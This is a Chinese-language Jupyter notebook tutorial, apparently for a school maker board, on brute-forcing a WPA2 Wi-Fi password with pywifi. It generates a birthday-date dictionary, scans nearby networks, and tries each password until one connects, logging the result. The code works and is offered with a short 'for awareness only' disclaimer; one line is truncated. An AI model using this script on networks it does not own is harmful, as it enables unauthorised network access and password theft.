Wi-Fi密码破解

本案例仅仅用来演示网络安全，提醒每个人都要关心网络安全，请不要用于非法途径。

很多人给自己的Wi-Fi设置密码，总是用一些典型的弱密码，如家人的生日日期，12345678之类。这类密码很容易用工具来破解。Python中的pywifi库，就可以用来暴力破解密码。虚谷号可以安装pywifi库，并且用来体验Wi-Fi破解的过程。本案例使用的技术破解速度很慢，在实际应用中的价值并不大。

1.安装pywifi ¶

用pip安装pywifi库，最新版本为1.1.12。命令如下：

pip install pywifi

2.生成字典

一般的家庭路由器往往使用弱密码，如家庭成员的生日密码。下面这段代码生成1960年到2020年之间的所有日期。

In [1]:

```
import time,datetime
t=datetime.datetime(1960,1,1)
#生成密码本
dic =open('./dic.txt','w')
i=0
s=""
while i<365*60:
    t=t + datetime.timedelta(days=1)
    i=i + 1
    s=s + t.strftime("%Y%m%d") + '\n'
dic.write(s)
dic.close()
print('密码本完成')
```

密码本完成

3.核心代码分析

In [2]:

```
# 获取本机网卡信息
import pywifi
wifi = pywifi.PyWiFi()  #创建对象,三个字母大写
wififile = pywifi.Profile()
ifaces = wifi.interfaces()
ifaces
```

Out[2]:

```
[<pywifi.iface.Interface at 0x7f8ef51f28>,
 <pywifi.iface.Interface at 0x7f8ef69630>]
```

In [3]:

```
for i in ifaces:
    print(i.name())
```

```
p2p-dev-wlan0
wlan0
```

这个代码是输出本机的所有无线网卡，虚谷号会找到2个（其中一个是虚拟网卡），第二个才是真实的网卡，代码中要使用 `wifi.interfaces()[0]` 。

In [4]:

```
# 扫描Wi-Fi，获取所有的ssid列表
import time
import pywifi
wifi = pywifi.PyWiFi()  #创建对象,三个字母大写
wififile = pywifi.Profile()
ifaces = wifi.interfaces()[1]
ifaces.scan()
time.sleep(2)
aplist = ifaces.scan_results()  #scan的结果
aplist
```

Out[4]:

```
[<pywifi.profile.Profile at 0x7f8ef78828>,
 <pywifi.profile.Profile at 0x7f8ef51a20>,
 <pywifi.profile.Profile at 0x7f8ef78860>,
 <pywifi.profile.Profile at 0x7f8ef787f0>,
 <pywifi.profile.Profile at 0x7f8ef78898>,
 <pywifi.profile.Profile at 0x7f8ef78908>,
 <pywifi.profile.Profile at 0x7f8ef78978>,
 <pywifi.profile.Profile at 0x7f8ef789e8>,
 <pywifi.profile.Profile at 0x7f8ef78a58>,
 <pywifi.profile.Profile at 0x7f8ef78a90>,
 <pywifi.profile.Profile at 0x7f8ef78ac8>,
 <pywifi.profile.Profile at 0x7f8ef78b00>,
 <pywifi.profile.Profile at 0x7f8ef78b38>]
```

aplist中存储的是pywifi的一个对象，可以用dir输出这个对象的所有属性。

In [5]:

```
# 输出这个对象的所有属性
a=aplist[0]
a.__dict__
```

Out[5]:

```
{'akm': [4],
 'auth': 0,
 'bssid': 'd8:9b:3b:e1:25:cd',
 'cipher': 0,
 'freq': 2437,
 'id': 0,
 'key': None,
 'signal': -33,
 'ssid': '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'}
```

根据关键词可以“秒懂”，signal是信号，ssid是Wi-Fi信号的名称,akm是加密类型。signal的值越大（负数），说明信号越好。其他的属性，就不一一介绍了。通过一个循环，一次性输出所有的ssid和signal。

In [6]:

```
for i in aplist:
    print(i.ssid,i.signal)
    time.sleep(0.2)
```

```
\x00\x00\x00\x00\x00\x00\x00\x00 -33
jf -30
test -40
jf -73
jf -77
CMCC-z2mA -82
 -78
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 -85
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 -31
\x00\x00\x00\x00\x00\x00\x00\x00 -91
xlz -91
TP-LINK_94F1B2 -91
 -83
```

破解Wi-Fi密码的方法其实很简单，就是从密码本中读出所有可能的密码，一个一个不停地测试连接，如果连接成功，就停止测试，输出密码。

核心函数是wifiConnect。参数是Wi-Fi的ssid名称和密码，连接成功返回True，否则返回False。代码中ifaces.status为无线网卡的状态值，IFACE_DISCONNECTED和IFACE_CONNECTED分别为pywifi中预设的const（常量），值分别为0和4。也就是说，status为0表示网络断开，1表示正在连接，4表示连接成功。

注意：运行这段代码，虚谷号会断开Wi-Fi数秒钟。如果给出的Wi-Fi信息能够正常连接，那么请在“连接成功”下方设置正常的Wi-Fi信息，否则你就连不上虚谷号的pyjuter服务了。当然，按下RST键后，虚谷号会重新连接Wi-Fi，重新启动jupyter服务。

In [ ]:

```
import pywifi
import time
c=pywifi.const # pywifi的常量
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[1]
def wifiConnect(wifiname,wifipassword):
    ifaces.disconnect()# 断开连接
    time.sleep(0.5)
    if ifaces.status() == c.IFACE_DISCONNECTED:
        profile = pywifi.Profile() # 创建WiFi连接文件
        profile.ssid = wifiname # WiFi的ssid，即wifi的名称
        profile.key = wifipassword # WiFi密码
        profile.akm.append(c.AKM_TYPE_WPA2PSK) # WiFi的加密类型，现在一般的wifi都是wpa2p
        profile.auth = c.AUTH_ALG_OPEN # 开放网卡
        profile.cipher = c.CIPHER_TYPE_CCMP # 加密单元
        ifaces.remove_all_network_profiles() # 删除所有的WiFi文件
        tep_profile = ifaces.add_network_profile(profile) # 设定新的连接文件
        ifaces.connect(tep_profile) # 连接WiFi
        time.sleep(3) #连接时间太短，有可能会出现误判
        if ifaces.status() == c.IFACE_CONNECTED:
            return True
        else:
            return False
r=wifiConnect('test','19600601')
if (r==True):
    print('连接成功！')
else:
    print('连接失败！')
# 请在这里输入虚谷号正常工作的Wi-Fi信息。
wifiConnect('make','12345678')
```

4.运行完整代码

在虚谷号上有多种方式运行下面单元格的代码，推荐如下两种：

1）直接运行。
2）保存为main.py文件，连同生成的“dic.txt”一起复制到U盘到Python目录。开机后将自动执行。

运行这段程序后，每测试100个密码，虚谷号会亮一次板载Arduino的LED，代码执行结束后，LED会持续闪烁。如果在13号引脚接上蜂鸣器，则可以听到声音提示。

破解成功后，在.py文件所在的文件夹中会看到一个wifi.log文件，记录了破解的过程和结果。代码执行结束后，不管是否破解成功，都会重新连接默认的Wi-Fi，恢复正常工作。

In [ ]:

```
import pywifi
import time
from xugu import Pin #导入xugu库，破解成功或者任务结束后会闪烁LED

#闪烁灯
def blink(p):
    p.write_digital(1)
    time.sleep(0.3)
    p.write_digital(0)
    time.sleep(0.3)

#测试连接
def wifiConnect(wifiname,wifipassword):
    c=pywifi.const # pywifi的常量
    ifaces.disconnect()# 断开连接
    time.sleep(0.5)
    if ifaces.status() == c.IFACE_DISCONNECTED:
        profile = pywifi.Profile()# 创建WiFi连接文件
        profile.ssid = wifiname# WiFi的ssid，即wifi的名称
        profile.key = wifipassword# WiFi密码
        profile.akm.append(c.AKM_TYPE_WPA2PSK)# WiFi的加密类型，现在一般的wifi都是wpa2ps
        profile.auth = c.AUTH_ALG_OPEN # 开放网卡
        profile.cipher = c.CIPHER_TYPE_CCMP# 加密单元
        ifaces.remove_all_network_profiles()# 删除所有的WiFi文件
        tep_profile = ifaces.add_network_profile(profile)# 设定新的连接文件
        ifaces.connect(tep_profile) # 连接WiFi
        time.sleep(2.5) #经过测试2.5秒比较稳定
        if ifaces.status() == c.IFACE_CONNECTED:
            return True
        else:
            return False


#开始破解
p = Pin(13, Pin.OUT)
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[1]
print('开始破解，破解成功后虚谷号的LED会快速闪烁。')
file = open('dic.txt','r') # 打开密码本
log=open('wifi.log','w') # 记录
wifi_name='test' # 要破解的Wi-Fi的名称
count=0 # 测试次数
while True:
    wifipwd = file.readline()
    try:
        bool = wifiConnect(wifi_name,wifipwd)
        if bool:
            log.write('wifi名称：')
            log.write(wifi_name + '\n')
            log.write('wifi密码：')
            log.write(wifipwd + '\n')
            break
        else:
            count=count+1
            if (count % 10==0):
                tips='已经测试了%d个密码，本次尝试的密码为：%s，状态：密码错误' % (count,wif
                print(tips)
                log.write(tips + '\n')
                blink(p)
```

```
    except:
        continue
file.close()
log.close()

# 重新连接Wi-Fi
wifiConnect('make','12345678')

#持续闪烁提示
while 1:
    blink(p)
```

In [ ]:

```

```